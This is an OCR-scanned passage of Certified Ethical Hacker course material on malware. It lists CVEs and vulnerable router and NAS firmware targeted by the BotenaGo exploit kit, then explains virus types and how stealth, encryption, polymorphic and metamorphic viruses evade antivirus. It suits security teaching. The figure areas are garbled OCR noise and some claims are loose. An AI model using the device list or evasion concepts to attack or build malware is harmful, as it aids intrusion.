CVE-2020- DrayTek Vigor2960 1.3.l_Beta, Vigor3900 1.4.4_Beta, and Vigor300B


8515 1.3.3_ Beta, 1.4.2.l _Beta, and 1.4.4_Beta devices

CVE-2015- D-Link DIR-645 Wired/Wireless Router Rev. Ax with firmware 1.04b12 and
2051 earlier

CVE-2016- Netgear WN604 before 3.3.3 and WN802Tv2, WNAP210v2, WNAP320,


1555 WNDAP350, WNDAP360, and WNDAP660 before 3.5.5.0

CVE-2017-
NETGEAR DGN2200 devices with firmware version 10.0.0.50
6077

NETGEAR R6250 before 1.0.4.6.Beta, R6400 before 1.0.1.18.Beta, R6700


CVE-2016- before 1.0.1.14.Beta, R6900, R7000 before 1.0.7.6.Beta, R7100LG before
6277 1.0.0.28.Beta, R7300DST before 1.0.0.46.Beta, R7900 before 1.0.1.8.Beta,
R8000 before 1.0.3.26.Beta, D6220, D6400, D7000

CVE-2018-
10561, CVE- GPON home routers
2018-10562

CVE-2013-
Linksys X3000 1.0.03 build 001
3307

CVE-2020-
D-Link DIR-610
9377

CVE-2016-
D-Link DCS-930L devices before 2.12
11021

CVE-2018-
XiongMai uc-httpd 1.0.0
10088

Vulnerability Affected devices


CVE-2020-
Comtrend VR-3033 DE11-416SSG-C01_R02.A2pvl042j1.d26m
10173
CVE-2013-
D-Link DSL-2760U Gateway
5223

Module 07 Page 1018 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

CVE-2020- Guangzhou lGE ONU V2801RW 1.9.1-181203 through 2.9.0-181024 and


8958 V2804RGW 1.9.1-181203 through 2.9.0-181024
TOTOLINK Realtek SDK based routers; this affects A3002RU through 2.0.0,
CVE-2019- A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0,
19824 N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, and
Nl00RE through 3.4 .0.
CVE-2020-
Tenda AC15 AC1900 version 15.03.05.19
10987
Multiple ZyXEL network-attached storage (NAS) devices running firmware
version 5.2; affected products include NAS326 before firmware
V5.21(AAZF.7)C0, NAS520 before firmware V5.21(AASZ.3)C0, NAS540
CVE-2020- before firmware V5.21(AATB.4)C0, NAS542 before firmware
9054 V5.21(ABAG.4)C0; ZyXEL has made firmware updates available for
NAS326, NAS520, NAS540, and NAS542 devices; affected models that are
at end-of-support are NSA210, NSA220, NSA220+, NSA221, NSA310,
NSA310S, NSA320, NSA320S, NSA325, and NSA325v2
CVE-2017- ZyXEL P660HN-T1A vl TCLinux Fw $7.3.15.0 v00l / 3.40(ULM .0)b31 router
18368 distributed by TrueOnline
CVE-2014-
ZTE F460 and F660 cable modems
2321
CVE-2017-
NETGEAR DGN2200 devices with firmware version 10.0.0.50
6334

Table 7.3: CVEs for t he BotenaGo exploit kit

(]) 6 security~ flogged this file as malicious

0c395715bfeb8f89959be721cd2f614d2edb260614d5a21e90cc4c142
3.09 MB 2021-10-10 09:53:19 UTC
f5d83ad
1ze 22 day! ,g
multi
64bits cve-2018-10561 elf exploit
X <:otmu"lity V
Score

OETECTION DETAILS RELATIONS CONTENT SUBMISSIONS COMMUNITY

Security vendors' analysis on 2021-10-10T09:53:t9 v

Avast (D ELF:Hajime-R [Trjl Avast-Mobile (D ELF:Hajime-O (Trj J

AVG (]) ELF:Ha,,me·R (TrJI BitDefenderTheta 0 Gen:NN.Mirai.34170

Kaspersky (D HEUR:Expk>it.linux.CVE-2018-10561.a Rising (D Backdoor.Mira1/linux!1.BAFF {CLASSIC)

Acronis (Static ML} 0 Undetected Ad-Aware 0 Undetected

Ahnlab-V3 0 Undetected ALYac 0 Undetected

AntirAVL 0 Undetected Arcabit 0 Undetected

ll.vtf",::, /nr, rln,orl) t:;\ I lnrl<>t<>rt<>rl R:.irl,, t:;\ llnrl<>t<>rt<>rl

Figure 7.35: Screenshot of RIG Exploit Kit

Module 07 Page 1019 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

The following are some additional exploit kits that attackers can use to propagate and deploy
Trojans:
■ Lord ■ Angler
■ Underminer Exploit Kit ■ Neutrino
■ RIG Exploit kit ■ Terror
■ Magnitude ■ Sundown

Module 07 Page 1020 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

10#04: Explain Viruses and Worm, Their Types, and How They Infect Files

Copyright Cl by (C-Cluldl All Rights Re~rved Reproduction 1s Stnctly Prohibited

Virus and Worm Concepts


This section introduces you to various concepts related to viruses and worms . In addition, it
discusses the life stages of a virus and the working of a virus. It also explores why people create
computer viruses, indications of a virus attack, virus hoaxes, fake antivirus tools, and
ransomware.
Furthermore, it highlights different types of viruses, categorized by their origin, techniques used
to infect target systems, the types of files they infect, where they hide, the sort of damage they
cause, the type of OS they work on, and so on. It also deals with computer worms, discusses the
difference between worms and viruses, and explores worm makers.

Module 07 Page 1021 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Introduction to Viruses

A virus is a self-replicating program th at produ ces its own copy by attach ing it self t o anot her program, computer boot sector
or doc ument

Viruses are gen erally transmitted t hrough file downloads, infected disk/flash drives, and as email attachments

Indications of a virus attack include constant antivirus alerts, suspicious hard drive activity, lack of storage space, unwanted
pop-up windows, etc.

Characteristics ofViruses Purpose of CreatingViruses


8 Infect other programs 8 Inflict damage on competitors
8 Financial benefit s
8 Transform th emselves
8 Vandalism
8 Encrypt th emselves 8 Playpra nks
8 Resea rch projects
8 Alt er data
8 Cyber terrorism
8 Corrupt files an d programs 8 Dist r ibute political messages
8 Dam age networks or com puters
8 Self-replicate 8 Gain remote access t o a victim's com puter

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Introduction to Viruses
Viruses are the scourge of modern computing. Computer viruses have the potential to wreak
havoc on both business and personal computers. The lifetime of a virus depends on its ability to
reproduce itself. Therefore, attackers design every virus code such that the virus replicates
itself n t imes.
A computer virus is a self-replicating program that produces its code by attaching copies of
itself to other executable code and operates without the knowledge or consent of the user. Like
a biological virus, a computer virus is contagious and can contaminate other files; however,
viruses can infect external machines only with the assistance of computer users.
Some viruses affect computers as soon as their code is executed; other viruses remain dormant
until a pre-determined logical circumstance is met. Viruses infect a variety of files, such as
overlay files {.OVL) and executable files (.EXE, .SYS, .COM, or .BAT). They are transmitted
through file downloads, infected disk/flash drives, and email attachments.
Characteristics of Viruses

The performance of a computer is affected by a virus infection. This infection can lead to data
loss, system crash, and file corruption.
Some of the characteristics of a virus are as follows:
■ Infects other programs
■ Transforms itself
■ Encrypts itself
■ Alters data

Module 07 Page 1022 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

■ Corrupts files and programs


■ Replicates itself
Purpose of Creating Viruses

Attackers create viruses with disreputable motives. Criminals create viruses to destroy a
company's data, as an act of vandalism, or to destroy a company's products; however, in some
cases, viruses aid the system.
An attacker creates a virus for the following purposes:
■ Inflict damage on competitors
■ Realize financial benefits
■ Vandalize intellectual property
■ Play pranks
■ Conduct research
■ Engage in cyber-terrorism
■ Distribute political messages
■ Damage network or computers
■ Gain remote access to the victim's computer
Indications of Virus Attack

Indications of virus attacks arise from abnormal activities. Such activities reflect the nature of a
virus by interrupting the regular flow of a process or a program. However, not all bugs created
contribute toward attacking the system; they may be merely false positives. For example, if the
system runs slower than usual, one may assume that a virus has infected the system; however,
the actual reason might be program overload.
An effective virus tends to multiply rapidly and may infect some machines in a short period.
Viruses can infect files on the system, and when such files are transferred, they can infect
machines of other users who receive them. A virus can also use file servers to infect files.
When a virus infects a computer, the victim or user will be able to identify some indications of
the presence of virus infection.
Some indications of computer virus infection are as follows:
■ Processes require more resources and time, resulting in degraded performance
■ Computer beeps with no display
■ Drive label changes and OS does not load
■ Constant antivirus alerts
■ Computer freezes frequently or encounters an error such as BSOD
■ Files and folders are missing

Module 07 Page 1023 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

■ Suspicious hard drive activity


■ Browser window "freezes"
■ Lack of storage space
■ Unwanted advertisements and pop-up windows

Module 07 Page 1024 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Ethical Hacker
Malware Threats

Stages of Virus Lifecycle

Design Developing vi rus code using programming languages or const ruction kits

[ Replication Viru s replicates itself for a per iod within the target system and t hen spreads itself 7
[ Launch It gets activated when t he user performs ce rtain actions such as running infected programs ]

I Detection A virus is ident ified as a threat infecting target syst ems

Incorporation Antiviru s software developers assimilate defenses against the virus

Execution of the I Users install antivirus updates and eliminate t he virus threats
damage routine

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Stages of Virus Lifecycle


The virus lifecycle includes the following six stages from origin to elimination.
1. Design: Development of virus code using programming languages or construction kits.

2. Replication: The virus replicates for a period within the target system and then spreads
itself.
3. Launch: The virus is activated when the user performs specific actions such as running
an infected program.
4. Detection: The virus is identified as a threat infecting target system.
5. Incorporation: Antivirus software developers assimilate defenses against the virus.
6. Execution of the damage routine : Users install antivirus updates and eliminate the virus
threats.

Module 07 Page 1025 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Working of Viruses

Infection Phase Attack Phase


In the infection phase, the virus replicates itself and Viruses are programmed with trigger events to
attaches to a .exe file in the system activate and corrupt systems
Some viruses infect each time they are run, and others
Before After infect only when a certain predefined condition is met
Infection Infection such as a user'sspecific task, a day, time, or a specific
event

l
.EXE File .EXE File
Unfragmented File Before Attack
File: A File: B
File Header File Header

, .. [JO CJ[] .... .


L:J ..
Page: 1 Page: 2 Page: 3 Page: 1 Page: 2 Page: 3

·S>-start of Program •► Start of Program i............ t ............ >:-


End of Program
Clean
File Fragmented Due to Virus Attack
End of Program
•· •· Virus Jumo ◄ •• Virus
File Infected Page: 1 Page: 3 Page: 2 Page: 2
File
File: B File : A File: B File: A
~ I:,
: ..........................................:··································;

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Working of Viruses
Viruses can attack a target host's system using a variety of methods. They can attach
themselves to programs and transmit themselves to other programs through specific events.
Viruses need such events to take place, as they cannot self-start, infect hardware, or transmit
themselves using non-executable files. "Trigger" and "direct attack" events can cause a virus to
activate and infect the target system when the user triggers attachments received through
email, websites, malicious advertisements, flashcards, pop-ups, and so on. The virus can then
attack the system's built-in programs, antivirus software, data files, system startup settings, etc.
Viruses have two phases: the infection phase and the attack phase.
• Infection Phase
Programs modified by a virus infection can enable virus functionalities to run on the
system . The virus infects the target system after it is triggered and becomes active upon
the execution of infected programs, because the program code leads to the virus code.
The two most important factors in the infection phase of a virus are as follows :
o Method of infection
o Method of spreading
A virus infects a system in the following sequence:
o The virus loads itself into memory and checks for an executable on the disk.
o The virus appends malicious code to a legitimate program without the permission or
knowledge of the user.
o The user is unaware of the replacement and launches the infected program.

Module 07 Page 1026 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

o The execution of the infected program also infects other programs in the system.
o The above cycle continues until the user realizes that there is an anomaly in the
system.
Apparently, the user unknowingly triggers and executes the virus for it to function.
There are many ways to execute programs while the computer is running. For example,
if the user installs any software tool, the setup program calls various built-in sub-
programs during extraction. If a virus program already exists, it can be activated with
this type of execution, and the virus can also infect additional setup programs.
Specific viruses infect in different ways, such as
o A file virus infects by attaching itself to an executable system application program.
Potential targets for virus infections are as follows:

• Source code
• Batch files
• Script files
o Boot sector viruses execute their code before the target PC is booted.
Viruses spread in a variety of ways. There are virus programs that infect and keep
spreading every time the user executes them. Some virus programs do not infect
programs when first executed. They reside in a computer's memory and infect programs
later. Such virus programs wait for a specified trigger event to spread at a later stage.
Therefore, it is difficult to recognize which event might trigger the execution of a
dormant virus. As illustrated in the figure below, the .EXE file's header, when triggered,
executes and starts running the application. Once this file is infected, any trigger event
from the file's header can activate the virus code along with the application program
immediately after executing it.
The most popular methods by which a virus spreads are as follows:
o Infected files: A virus can infect a variety of files.

o File-sharing services: A virus can take advantage of file servers to infect files. When
unsuspecting users open the infected files, their machines also become infected.
o DVDs and other storage media: When infected storage media such as DVDs, flash
drives, and portable hard disks are inserted into a clean system, the system gets
infected.
o Malicious attachments and downloads: A virus spreads if a malicious attachment
sent via email is opened or when apps are downloaded from untrusted sources.

Module 07 Page 1027 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is St rictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Before After
Infection Infection

.EXE File .EXE File

File Header File Header

..·I IP I IP 1......

l:J
Clean
• ► start of Program

End of Program
Start of Program

End of Program

.. , . , . Virus Jump • • ..
1 -e~e ]

Virus
File Infected
File

Figure 7.36: Infection Phase

■ Attack Phase
Once viruses spread throughout the target system, they start corrupting the files and
programs of the host system . Some viruses can trigger and corrupt the host system only
after the triggering event is activated. Some viruses have bugs that replicate themselves
and perform activities such as deleting files and increasing session time. Viruses corrupt
their targets only after spreading as intended by their developers.
Most viruses that attack target systems perform the following actions:
o Delete files and alter the content of data files, slowing down the system
o Perform tasks not related to applications, such as playing music and creating
animations
Unfragmented File Before Attack
File: A File: B

Page: 1 Page: 2 Page: 3 Page: 1 Page: 2 Page: 3

.
..............A..............~..
File Fragmented Due to Virus Attack
Page: 1 Page: 3 Page: 1 Page: 3 Page: 2 Page: 2
File: A File: B File: B File: A File: B File: A I
~.................................~
•••• • ••••••••••••••••••• • ••••••••• ■ • •••• • •••••••••••• • ••••••••••••••••••••••
-
Figure 7 .37: Attack Phase

The figure shows two files, A and B. Before the attack, the two files are located one after
the other in an orderly manner. Once a virus code infects the file, it alters the position of
the files placed consecutively, leading to inaccuracy in file allocations and causing the

Module 07 Page 1028 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

system to slow down as the user tries to retrieve the files.


In the attack phase:

o Viruses execute upon triggering specific events


o Some viruses execute and corrupt via built-in bug programs after being stored in the
host's memory
o The latest and most advanced viruses conceal their presence, attacking only after
thoroughly spreading through the host

Module 07 Page 1029 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

How does a Computer Get Infected by Viruses?

When a user accepts files and downloads


without properly checking the source
J Not running the latest antivirus application

6 Opening infected e-mail attachments


I m Clicking malicious on line ads

~ lostalUogp;rated softwa,e fJ Using portable media

R Not updating and not installingnewversions m,.


I.JI of plug-ins W Connecting to untrusted networks

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

How does a Computer Get Infected by Viruses?


To infect a system, first, a virus has to enter it. Once the user downloads and installs the virus
from any source and in any form, it replicates itself to other programs. Then, the virus can
infect the computer in various ways, some of which are listed below:
• Downloads: Attackers incorporate viruses in popular software programs and upload
them to websites intended for download. When a user unknowingly downloads this
infected software and installs it, the system is infected.
• Email attachments: Attackers usually send virus-infected files as email attachments to
spread the virus on the victim's system. When the victim opens the malicious
attachment, the virus automatically infects the system .
• Pirated software: Installing cracked versions of software {OS, Adobe, Microsoft Office,
etc.) might infect the system as they may contain viruses.
■ Failing to install security software: With the increase in security parameters, attackers
are designing new viruses. Failing to install the latest antivirus software or regularly
update it may expose the computer system to virus attacks.
■ Updating software: If patches are not regularly installed when released by vendors,
viruses might exploit vulnerabilities, thereby allowing an attacker to access the system.
■ Browser: By default, every browser comes with built-in security. An incorrectly
configured browser could result in the automatic running of scripts, which may, in turn,
allow viruses to enter the system .
■ Firewall: Disabling the firewall will compromise the security of network traffic and invite
viruses to infect the system .

Module 07 Page 1030 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

■ Pop-ups: When the user clicks any susp1c1ous pop-up by mistake, the virus hidden
behind the pop-up enters the system. Whenever the user turns on the system, the
installed virus code will run in the background.
■ Removable media: When a healthy system is associated with virus-infected removable
media (e.g., CD/ DVD, USB drive, card reader), the virus spreads the system .
■ Network access: Connecting to an untrusted Wi-Fi network, leaving Bluetooth ON, or
permitting a file sharing program that is accessed openly will allow a virus to take over
the device.
■ Backup and restore: Taking a backup of an infected file and restoring it to a system
infects the system again with the same virus.
■ Malicious online ads: Attackers post malicious online ads by embedding malicious code
in the ads, also known as malvertising. Once users click these ads, their computers get
infected.
■ Social Media: People tend to click on social media sites, including malicious links shared
by their contacts, which can infect their systems.

Module 07 Page 1031 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Types of Viruses
Viruses are categories according to their functioning and targets

Some of the example includes:

System or Boot Sector Virus Polymorphic Virus Web Scripting Virus

File and Multipartite Virus Metamorphic Virus Email and Armored Virus

Macro and Cluster Virus Overwriting File or Cavity Virus Add-on and Intrusive Virus

Stealth/Tunneling Virus Companion/Camouflage Virus Direct Action or Transient Virus

Encryption Virus Shell and File Extension Virus Terminate & Stay Resident Virus

Sparse Infector Virus FAT and Logic Bomb Virus

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Types of Viruses
Computer viruses are malicious software programs written by attackers to gain unauthorized
access to a target system. Thus, they compromise the security of the system as well as its
performance. For any virus to corrupt a system, it has to first associate its code with executable
code.
It is important to understand how viruses:
• Add themselves to the target host's code
■ Choose to act upon the target system
Viruses are categories according to their functioning and targets. Some of the most common
types of computer viruses that adversely affect the security of systems are listed below:
1. System or Boot Sector Virus 10. Metamorphic Virus
2. File Virus 11. Overwriting File or Cavity Virus
3. Multipartite Virus 12. Companion Virus/Camouflage Virus
4. Macro Virus 13. Shell Virus
5. Cluster Virus 14. File Extension Virus
6. Stealth/Tunneling Virus 15. FAT Virus
7. Encryption Virus 16. Logic Bomb Viru s
8. Sparse lnfector Virus 17. Web Scripting Virus
9. Polymorphic Virus 18. Email Virus

Module 07 Page 1032 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

19. Armored Virus 22. Direct Action or Transient Virus


20. Add-on Virus 23. Terminate and Stay Resident Virus
(TSR)
21. Intrusive Virus
System or Boot Sector Viruses
The most common targets for a virus are the system sectors, which include the master boot
record (MBR) and the DOS boot record system sectors. An OS executes code in these areas
while booting. Every disk has some sort of system sector. MBRs are the most virus-prone zones
because if the MBR is corrupted, all data will be lost. The DOS boot sector also executes during
system booting. This is a crucial point of attack for viruses.
The system sector consists of only 512 bytes of disk space. Therefore, system sector viruses
conceal their code in some other disk space. The primary carriers of system or boot sector
viruses are email attachments and removable media (USB drives). Such viruses reside in
memory. Some sector viruses also spread through infected files; these are known as
multipartite viruses.
A boot sector virus moves MBR to another location on the hard disk and copies itself to the
original location of MBR. When the system boots, first, the virus code executes and then
control passes to the original MBR.

Before Infection

+ - - - MBR- - -

_____ .. After Infection


:·_·············.. ······~

~ Virus Code ~ + - - - MBR - - -

Figure 7 .38: Working of system and boot sector virus

• Virus Removal
System sector viruses create the illusion that there is no virus on the system. One way to
deal with this virus is to avoid the use of the Windows OS and switch to Linux or Mac,
because Windows is more prone to such attacks. Linux and Macintosh have built-in
safeguards for protection against these viruses. The other approach is to periodically
perform antivirus checks.
File Viruses
File viruses infect files executed or interpreted in the system, such as COM, EXE, SYS, OVL, OBJ,
PRG, MNU, and BAT files. File viruses can be direct-action (non-resident) or memory-resident
viruses.
File viruses insert their code into the original file and infect executable files. Such viruses are
numerous, albeit rare. They infect in a variety of ways and are found in numerous file types.

Module 07 Page 1033 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

The most common type of file virus operates by identifying the file type it can infect most
easily, such as that with filenames ending in .COM or .EXE. During program execution, the virus
executes along with program files to infect more files. Overwriting a virus is not easy, as the
overwritten programs no longer function properly. These viruses tend to be found immediately.
Before inserting their code into a program, some file viruses save the original instructions and
allow the original program to execute, so that everything appears normal.
File viruses hide their presence using stealth techniques to reside in a computer's memory in
the same way as system sector viruses. They do not show any increase in file length while
performing directory listing. If a user attempts to read the file, the virus intercepts the request,
and the user gets back his original file. File viruses can infect many file types, as a wide variety
of infection techniques exist.

Attacker
Figure 7 .39: Working of file virus

Multipartite Viruses
A multipartite virus (also known as a multipart virus or hybrid virus) combines the approach of
file infectors and boot record infectors and attempts to simultaneously attack both the boot
sector and the executable or program files. When the virus infects the boot sector, it will, in
turn, affect the system files and vice versa. This type of virus re-infects a system repeatedly if it
is not rooted out entirely from the target machine.
Macro Viruses

Macro viruses infects Microsoft Word or similar applications by automatically performing a


sequence of actions after triggering an application. Most macro viruses are written using the
macro language Visual Basic for Applications (VBA), and they infect templates or convert
infected documents into template files while maintaining their appearance of common
document files.
Macro viruses are somewhat less harmful than other viruses. They usually spread via email.
Pure data files do not allow the spreading of viruses, but sometimes, the average user, due to
the extensive macro languages used in some programs, easily overlooks the line between a
data file and an executable file. In most cases, just to make things easy for users, the line
between a data file and a program starts to blur only when the default macros are set to run
automatically every time the data file is loaded . Virus writers can exploit universal programs
with macro capability, such as Microsoft Word, Excel, and other Office programs. Windows
Help files can also contain macro code.

Module 07 Page 1034 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Attacker User
Figure 7.40: Working of a macro virus

Cluster Viruses

Cluster viruses infect files without changing the file or planting additional files. They save the
virus code to the hard drive and overwrite the pointer in the directory entry, directing the disk
read point to the virus code instead of the actual program. Even though the changes in the
directory entry may affect all the programs, only one copy of the virus exists on the disk.
A cluster virus, e.g., Dir-2, first launches itself when any program starts on the computer
system, and control is then passed to the actual program.
This virus infection leads to severe problems if the victim does not know its exact location. If it
infects memory, it controls access to the directory structure on the disk.
If the victim boots from a clean USB pen drive and then runs a utility such as CHKDSK, the utility
reports a serious problem with the cross-linked file on the disk. Such utilities usually offer to
correct the problem. If the offer is accepted, the virus infects all the executable files and results
in the loss of original content, or all files might appear to be of the same size.
Stealth Viruses/Tunneling Viruses

These viruses try to hide from antivirus programs by actively altering and corrupting the service
call interrupts while running. The virus code replaces the requests to perform operations with
respect to these service call interrupts. These viruses state false information to hide their
presence from antivirus programs. For example, a stealth virus hides the operations that it
modified and gives false representations. Thus, it takes over portions of the target system and
hides its virus code.
A stealth virus hides from antivirus software by hiding the original size of the file or temporarily
placing a copy of itself in some other system drive, thus replacing the infected file with the
uninfected file that is stored on the hard drive.
In addition, a stealth virus hides the modifications performed by it. It takes control of the
system's functions that read files or system sectors. When another program requests
information that has already modified by the virus, the stealth virus reports that information to
the requesting program instead. This virus also resides in memory.
To avoid detection, these viruses always take over system functions and use them to hide their
presence.
One of the carriers of stealth viruses is the rootkit. Installing a rootkit results in such a viru s
attack because a Trojan installs the rootkit and is thus capable of hiding any malware.

Module 07 Page 1035 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

Give me the system Hides Infected

W
..
Antivirus Software
file tcpip.sys to scan
■ ■ • ■ ■ • • ■ ■ ■ ■ ■ • ■ ■ • ■ • •►

...
VIRUS
TCPIP.SYS

: Here you go
............ ◄ .. ■ •••••••
.
'--'
Original TCPIP.SYS

Figure 7.41: Working of stealth viru s/tunneling virus

• Virus Removal

o Always perform a cold boot (boot from write-protected CD or DVD)


o Never use DOS commands such as FDISK to fix the virus
o Use antivirus software
Encryption Viruses

Encryption viruses or cryptolocker viruses penetrate the target system via freeware, shareware,
codecs, fake advertisements, torrents, email spam, and so on . This type of virus consists of an
encrypted copy of the virus and a decryption module. The decryption module remains constant,
whereas the encryption makes use of different keys.
An encryption key consists of a decryption module and an encrypted copy of the code, which
enciphers the virus. When the attacker injects the virus into the target machine, the decryptor
will first execute and decrypt the virus body. Then, the viru s body executes and replicates or
becomes resident in the target machine. The replication process is successfully accomplished
using the encryptor. Each virus-infected file uses a different key for encryption. These viruses
employ XOR on each byte with a randomized key. The decryption technique employed is "x," or
each byte with a randomized key is generated and saved by the root virus.
Encryption viruses block access to target machines or provide victims with limited access to the
system. They use encryption to hide from virus scanners. The virus scanner cannot detect the
encryption virus using signatures, but it can det ect the decrypting module.

Module 07 Page 1036 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

.-..................... ➔ Encryption

...
.
/ Encryption key 1 Virus 1

..
,•
Encryption key 2 Encryption
••••••••••••••••• ■ ••••••••••• •►
Virus 2
...
.·.
Virus Code ·..
\ Encryption key 3 Encryption
••..................... ➔ Virus 3

Figure 7.42: Working of encryption virus

Sparse lnfector Viruses


To spread infection, viruses typically attempt to hide from antivirus programs. Sparse infector
viruses infect less often and try to minimize their probability of discovery. These viruses infect
only occasionally upon satisfying certain conditions or infect only those files whose lengths fall
within a narrow range.
The sparse infector virus works with two approaches:
■ Replicates only occasionally (e.g., every tenth program executed or on a particular day
of the week)
■ Determines which file to infect based on certain conditions (e.g., infects target files with
a maximum size of 128 kb)
The diagram below shows the working of a sparse infector virus.
The attacker sends a sparse infector virus to the target machine and sets a wakeup call for the
virus to execute on the 15th day of every month. This strategy makes it difficult for the antivirus
program to detect the virus, thus allowing the virus to infect the target machine successfully.

Figure 7.43: Working of sparse infect or virus

Polymorphic Viruses
Such viruses infect a file with an encrypted copy of a polymorphic code already decoded by a
decryption module. Polymorphic viruses modify their code for each replication to avoid
detection. They accomplish this by changing the encryption module and the instruction
sequence. Polymorphic mechanisms use random number generators in their implementation.

Module 07 Page 1037 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

The general use of the mutation engine is to enable polymorphic code. The mutator provides a
sequence of instructions that a virus scanner can use to optimize an appropriate detection
algorithm. Slow polymorphic code prevents antivirus professionals from accessing the code. A
simple integrity checker detects the presence of a polymorphic virus in the system's disk.
A polymorphic virus consists of three components: the encrypted virus code, the decryptor
routine, and the mutation engine. The function of the decryptor routine is to decrypt the virus
code. It decrypts the code only after taking control of the computer. The mutation engine
generates randomized decryption routines. Such decryption routines vary whenever the virus
infects a new program.
The polymorphic virus encrypts both the mutation engine and the virus code. When the user
executes a polymorphic-virus-infected program, the decryptor routine takes complete control
of the system, after which it decrypts the virus code and the mutation engine. Next, the
decryption routine transfers the system control of the virus, which locates a new program to
infect. In the Random Access Memory {RAM), the virus makes a replica of itself as well as the
mutation engine. Then, the virus instructs the encrypted mutation engine to generate a new
randomized decryption routine, which can decrypt the virus. Here, the virus encrypts the new
copies of both the virus code and the mutation engine. Thus, this virus, along with the newly
encrypted virus code and encrypted mutation engine (EME), appends the new decryption
routine to a new program, thereby continuing the process.
Polymorphic viruses running on target systems are difficult to detect due to the encryption of
the virus body and the changes in the decryption routine each time these viruses infect. It is
difficult for virus scanners to identify these viruses, as no two infections look alike .

................... ~ ················-1

Encrypted Mutation •
Encrypted Mutation
Engine (EME~
A A
i
1
•••• J•••••••••••••
:

:
:...... 9 ........)-
r-.._____

!I
i
11 ·--·1
-Deayptor
Engine i Routine (NOR)

Encrypted Virus
Code
l. . . . . . . . . .~
: Decryptor routme
lnstruct

new DR :
!
to create !

• e
: Instruct
: to create
: new EME
:
:
:. ••• • ••••
i
I
.ft... ..... !).
"V j
New Encrypted
M utation Engine (EME)

_ ....;~ I "::.::::-· ~irusCode •·······jO ····•·········•······•·······~


Virus encrypts itself j
New Virus

.___ ___h _ _ ~ with new key ~I_ _ __

=.....• .......
e Virus Does the Damage
J New Polymorphic
Virus

User Runs an Infected Program RAM

Figure 7.44: Working of polymorphic virus

Metamorphic Viruses

Metamorphic viruses are programmed such that they rewrite themselves completely each time
they infect a new executable file. Such viruses are sophisticated and use metamorphic engines
for their execution . Metamorphic code reprograms itself. It is translated into temporary code (a
new variant of the same virus but with different code) and then converted back into the original
code. This technique, in which the original algorithm remains intact, is used to avoid pattern
recognition by antivirus software. M etamorphic viruses are more effective than polymorphic
viruses.

Module 07 Page 1038 Ethical Hacking and Countermeasures Copyright © by EC•Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Ethical Hacker
Malware Threats

